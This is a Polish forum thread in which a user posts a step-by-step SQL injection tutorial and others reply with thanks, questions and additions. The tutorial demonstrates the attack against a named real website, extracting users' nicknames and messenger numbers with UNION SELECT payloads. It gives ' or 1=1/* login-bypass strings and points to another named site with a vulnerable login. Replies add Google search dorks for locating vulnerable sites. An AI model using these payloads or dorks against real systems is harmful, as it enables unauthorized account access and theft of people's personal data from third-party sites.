SQL Injection

sinis

Użytkownik
Dołączył
Wrzesień 3, 2006
Posty
958
Witam
smile.gif


Jakoś mi się weny zebrało, więc warto ją spożytkować. Postanowiłem, że napiszę tutka o jednym z najpopularniejszych ataków na strony internetowe: SQL Injection.

1. Co to SQL Injection??
2. Ale o so chosi ??
3. Jak znaleźć buga SQL Injection ??
4. Jak to wykorzystać ??
5. Jak się zalogować na czyjeś konto bez podawania hasła
<


-----
ad.1. SQL Injection - luka w zabezpieczeniach polegająca na nieodpowiednim filtrowaniu lub niedostatecznym typowaniu i późniejszym wykonaniu danych przesyłanych w postaci zapytań SQL do bazy danych. Podatne są na niego systemy złożone z warstwy programistycznej (przykładowo skrypt w PHP, ASP, JSP itp.) dynamicznie generującej zapytania do bazy danych (MySQL, PostgreSQL itp.). Wynika on zwykle z braku doświadczenia lub wyobraźni programisty. (źródło: Wikipedia)

-----

ad.2. Poprzez atak SQLI możemy wyciągnąć z bazy podatnej stronki (skryptu) wszystko co chcemy. Zazwyczaj jest to login i hasło admina (;p). Ot o co chodzi w tym ataku.

-----

ad.3. Bugi znajdziemy poprzez podawanie zmiennym nieprawdziwych danych (tj. sprzecznych z logicznego punktu widzenia - później to wyjaśnię) w celu sprawdzenia czy są one filtrowane czy też możemy się pobawić z podatną stronką. Na potrzeby tego kursu znalazłem pierwszą lepszą stronkę podatną na SQLI.
Link:
Kod:
http://www.opisy-gg.info.pl/
Teraz pora znaleźć jakąś zmienną... Kliknijmy byle jaki opis... W pasku adresu zobaczymy przykładowo
Kod:
http://www.opisy-gg.info.pl/view_status.php?id=456
Podajmy jakieś nieprawdziwe dane dla zmiennej id... Obojętnie co, np. asdf.
Kod:
http://www.opisy-gg.info.pl/view_status.php?id=asdf
Co widzimy ??
Kod:
Unknown column 'asdf' in 'where clause'
Znaleźliśmy buga
<
:D Bugi mogą też mieć inne komunikaty, np:
Warning: mysql_fetch_error()
Warning: mysql_num_rows()
itd...

-----

ad.4. Już wiemy co, ale nie wiemy jak... Na początek trzeba się dowiedzieć ile kolumn pobieranych jest podczas zapytania do bazy, w którym jest zamieszczana nasza zmienna id. Ale co jeśli za tą zmienną jest coś doklejane w kodzie PHP ?? Kod taki się komentuje i nie jest on interpretowany przez parser... Jest po prostu pomijany. Można użyć znaków komentujących znanych z języka C
Kod:
*
W C komentarz musiał być zamknięty, w SQL tak nie ma więc no problemmo. Jak się dowiedzieć ile mamy kolumn ?? To proste: instrukcja union select. Pobiera ona tą samą liczbę kolumn co poprzedzająca ją instrukcja select, ale działa tylko wtedy gdy instrukcja select nic nie zwróci. Teraz powstaje kolejny problem: trzeba sprawić, żeby pierwsza część zapytania nic nie zwróciła... JAk ?? Wystarczy dodać do niej jakieś nieprawdziwe wyrażenie w miejscu podatnej zmiennej. Jakie ?? Choćby
Kod:
AND 1=2
Takie wyrażenie nigdy nie zwróci prawdy, więc mamy problem z głowy.
Teraz znajdźmy te kolumny.
Doklejmy do zmiennej id takie zapytanie
Kod:
456 and 1=2 union select 1/*
Tak wygląda adresik
Kod:
http://www.opisy-gg.info.pl/view_status.php?id=456 and 1=2 union select 1/*
Pokazało się nam
Kod:
The used SELECT statements have a different number of columns
Czyli wiemy, że to jeszczenie ta liczba kolumn. Dodajemy kolejne i kolejne aż trafimy.
Kod:
456 and 1=2 union select 1,2/*
Dalej nic... No to dodajemy liczbę...
W końcu dochodzimy do:
Kod:
456 and 1=2 union select 1,2,3,4,5,6,7/*
W miejscu opisu pokazała się nam taka śmieszna trójeczka, czyli wiemy z którego miejsca są wyświetlane dane (zmiejsca trójki w naszym zapytanku). Ale jeszcze nie o to chodzi. Jedziemy dalej, wypada znać nazwę bazy. Spróbujmy "opisy"
Kod:
456 and 1=2 union select 1,2,3,4,5,6,7 from opisy/*
Nie ma błędu. Teraz możemy sobie pobrać z bazy dowolne dane (oczywiście możemy je pobierać z innych baz niż tylko opisy).
Sprawdźmy co jest wrzucane do bazy podczas dodawania nowego opisu
Kod:
http://www.opisy-gg.info.pl/add.php



Dodaj opis

Kategoria:

nick:

numer gg:

opis:
Widzimy 4 pola, wystarczy pomyśleć jak webmaster mógł nazwać te pola w bazie i wyciągnąć je...
Na przykład, chcemy znać nick kogoś kto wrzucił opis o id=666
Kod:
http://www.opisy-gg.info.pl/view_status.php?id=666
Jak może wyglądać zapytanie wyciągające takowy nick ??
Kod:
666 and 1=2 union select 1,2,nick,4,5,6,7 from opisy where id=666/*
W miejsce trójeczki tylko wsadzamy nazwę pożądanego pola
smile.gif
Co nam daje "where id=666" ?? Wyciąga rekord o id=666, czyli ten którego żądamy. Załóżmy, że chcemy też znać gg delikwenta... Ale tak pojedynczo to nieelegancko się wyciąga. W tej sytuacji przydatna jest instrukcja concat(). Łączy ona dwa pola w jeden wyniczek, który może zostać ukazany naszym oczom.
Kod:
666 and 1=2 union select 1,2,concat(nick,char(58),gg),4,5,6,7 from opisy where id=666/*
No i proszę
<
po co to "char(58)" w środeczku concata ?? A po to żeby nam się nie mieszały dane ;p Musimy jakoś oddzielić nick od gg więc wstawiamy między nie znak o kodzie ASCII podanym w funkcji char. Znak o numerze 58 to :. Idealnie się do tego nadaje.

-----

ad.5. Na życzenie userów napiszę jak wykorzystać bugi w skryptach logowania. Załóżmy, że mamy takie zapytanie
Kod:
SELECT * FROM users WHERE username=$user AND password=$pass
Jak to obejść ??
Login: <nazwa konta na które chcemy się dostać>
Hasło: or 1=1/* (lub ' or 1=1/*)
Dlaczego tak ?? Zapytanie po dodaniu hasła będzie wyglądało tak:
Kod:
SELECT * FROM users WHERE username=$user AND password= or 1=1/*
Zapytanie jest w tym momencie prawdziwe ponieważ ostatni warunek (to za AND) zostaje spełniony i zostają nam przyznane prawa użytkownika, na którego się logujemy. Część zapytania przed AND zwróci poprawny wynik tylko wtedy gdy część druga też będzie prawdziwa (nie zerowa/zwraca wartość TRUE/jak kto woli). Część ta dzieli się na password=(tutaj nie ma nic) i or 1=1, które zawsze zwraca prawdę. Operator OR zwraca prawdę gdy jedna lub obie strony wyrażenia (zapytania) ma prawdziwy wynik.

Jak się zalogować jako pierwszy użytkownik w bazie ??
Login: or 1=1/*
Hasło: dowolne
Lub
Login: ' or 1=1/*
Hasło: dowolne

Podobnie jak wyżej, tylko, że hasło zostaje pominięte i zostają pobrane dane pierwszego usera z bazy.

Bugi tego typu można wykorzystać na stronie www.34all.org. Skrypt logowania jest dziurawy.

To by było na tyle. Chciałem tylko zademonstrować o co w tym chodzi i jak to działa.
Mam nadzieję, że choć trochę przybliżyłem naturę błędów umożliwiających ataki SQL Injection.
Przepraszam za błędy

Pozdrawiam
Sinis

// Proszę o przeniesienie do odpowiedniego działu
<
 

widmo17

Były Moderator
Dołączył
Lipiec 16, 2007
Posty
1089
sinis, dobra robota ;] mogłeś jeszcze pododawać troszku o hasłach i loginach ( ' OR 1=1/* ) ;] Jak dla mnie bardzo fajny art.

//videoarty nie zawsze tłumaczą tak, jak pismo ;]
 

sinis

Użytkownik
Dołączył
Wrzesień 3, 2006
Posty
958
BlackGhost, sam się uczyłem z tych videoartów
<
Na początku niewiele zrozumiałem więc przeczytałem wszystkie tutki jakie znalazłem w necie. Jakoś samo w łeb weszło z czasem. Poza tym dzięki za dobre słowa
<


widmo17, mówisz masz
<
Dzięki
smile.gif
 

widmo17

Były Moderator
Dołączył
Lipiec 16, 2007
Posty
1089
Może jeszcze dodam coś od siebie: kiedyś na forum chyba fdj podał sposób na wyszukiwanie stron podatnych na takie ataki w google.pl.

Kod:
inurl:"id=" & intext:"Warning: mysql_fetch_array():"

inurl:"id=" & intext:"Warning: mysql_num_rows()"

inurl:"id=" & intext:"Database error:"
 

-=silkroad=-

Użytkownik
Dołączył
Lipiec 9, 2007
Posty
125
Warning: Supplied argument is not a valid MySQL result resource in /hdd1/p/smajl/clan/module/art.inc.php on line 239


strona jest podatna na atak ?
 

xarti

Użytkownik
Dołączył
Maj 9, 2004
Posty
1
Pewnie jest coś nie tak z zapytaniem skoro wywala taki kod. Najprawdopodobniej tak zmodyfikowałeś kod, że wywołuje on błąd w interpreterze MySQL. To może być potencjalny błąd.

Pozdrawiam
 

Raider_

Użytkownik
Dołączył
Styczeń 27, 2008
Posty
19
sinis, zrobilem wszystko tak jak pisalo ale przy ad 5 nie jest dobre objasnienie... moglbys to edytowac i sie rozpisac bo jezeli robie tak jak napisales to nie da rady
<
 

Dead

Użytkownik
Dołączył
Październik 4, 2007
Posty
36
W miejscu gdzie masz pole do logowania w polu login wpisujesz login usera na ktory chcesz sie dostac natomiast w polu gdzie trzeba wpisac haslo wpisujesz
or 1=1/* (lub ' or 1=1/*)[/b]
 

-=silkroad=-

Użytkownik
Dołączył
Lipiec 9, 2007
Posty
125
inurl:"id=" & intext:"Warning: mysql_fetch_array():"
inurl:"id=" & intext:"Warning: mysql_num_rows()"
inurl:"id=" & intext:"Database error:"[/b]


i takiego czegos trzeba szuka w google.pl żeby zaleś podatną stronę ?
 

FDJ

Były Moderator
Dołączył
Maj 23, 2005
Posty
1044
Originally posted by =silkroad=-
Cytat:
inurl:"id=" & intext:"Warning: mysql_fetch_array():"
inurl:"id=" & intext:"Warning: mysql_num_rows()"
inurl:"id=" & intext:"Database error:"




i takiego czegos trzeba szuka w google.pl żeby zaleś podatną stronę ?
Nie koniecznie mozesz na swoja reke szukac bledow w przypadkowo otworzonych stronach.

wiem rozumiem wszyskto tylko malo jasnosci, malo wyjasnienia,
Do tej pory uwazalem ze ... Cytat:
or 1=1/* (lub ' or 1=1/*)


powinno wyglądac w ten sposób Cytat:
or 1=2/*

czyli fałszywe zapytanie[/b]
Zle uwazasz, zapytanie musi byc poprawne bo ma Cie zalogowac.
W starych jportalach byl podobny blad wpisywales login admina + '/*
,a na miejsce hasla wpisyuwales pierwsza lepsza litere
smile.gif
 

-=silkroad=-

Użytkownik
Dołączył
Lipiec 9, 2007
Posty
125
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /opt3/opt4/w3serv/htdocs/PL/pfb/main/slownik_odslona.php on line 149


i w odpowiedzi dostaje to.To oznacza że strona jest podatna ?
 
Do góry Bottom